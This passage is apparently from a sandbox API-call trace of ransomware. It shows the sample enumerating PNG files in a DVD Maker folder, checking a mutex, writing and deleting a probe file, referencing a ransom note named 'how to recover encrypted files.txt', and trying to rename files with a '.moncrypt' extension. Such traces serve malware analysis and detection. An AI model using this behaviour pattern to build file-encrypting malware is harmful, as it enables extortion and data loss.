ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0057.868] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.870] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.870] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.870] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.870] GlobalUnlock (hMem=0x440004) returned 0 [0057.870] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.870] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.870] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.870] GlobalUnlock (hMem=0x440004) returned 0 [0057.871] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.871] GlobalUnlock (hMem=0x44000c) returned 0 [0057.871] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.871] CharLowerBuffW (in: lpsz="16_9-frame-background.png", cchLength=0x19 | out: lpsz="16_9-frame-background.png") returned 0x19 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.pngt", lpUsedDefaultChar=0x0) returned 78 [0057.872] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\16_9-frame-background.pngt", lpUsedDefaultChar=0x0) returned 4 [0057.872] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.873] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.873] CloseHandle (hObject=0x18c) returned 1 [0057.874] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\я")) returned 1 [0057.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 0x54e280 [0057.875] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.875] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.875] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.875] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", dwFileAttributes=0x20) returned 0 [0057.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.896] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.moncrypt")) returned 0 [0057.897] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0057.897] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.897] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.897] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.897] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.897] GlobalUnlock (hMem=0x44000c) returned 0 [0057.897] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.897] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.897] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.897] GlobalUnlock (hMem=0x44000c) returned 0 [0057.897] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.897] GlobalUnlock (hMem=0x440004) returned 0 [0057.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.897] CharLowerBuffW (in: lpsz="16_9-frame-highlight.png", cchLength=0x18 | out: lpsz="16_9-frame-highlight.png") returned 0x18 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 77 [0057.898] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 4 [0057.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 0x54e280 [0057.899] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.899] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.899] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.899] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", dwFileAttributes=0x20) returned 0 [0057.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.901] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.moncrypt")) returned 0 [0057.902] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0057.902] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.902] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.902] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.902] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.902] GlobalUnlock (hMem=0x440004) returned 0 [0057.902] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.902] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.902] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.902] GlobalUnlock (hMem=0x440004) returned 0 [0057.902] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.902] GlobalUnlock (hMem=0x44000c) returned 0 [0057.902] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.902] CharLowerBuffW (in: lpsz="16_9-frame-image-mask.png", cchLength=0x19 | out: lpsz="16_9-frame-image-mask.png") returned 0x19 [0057.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, 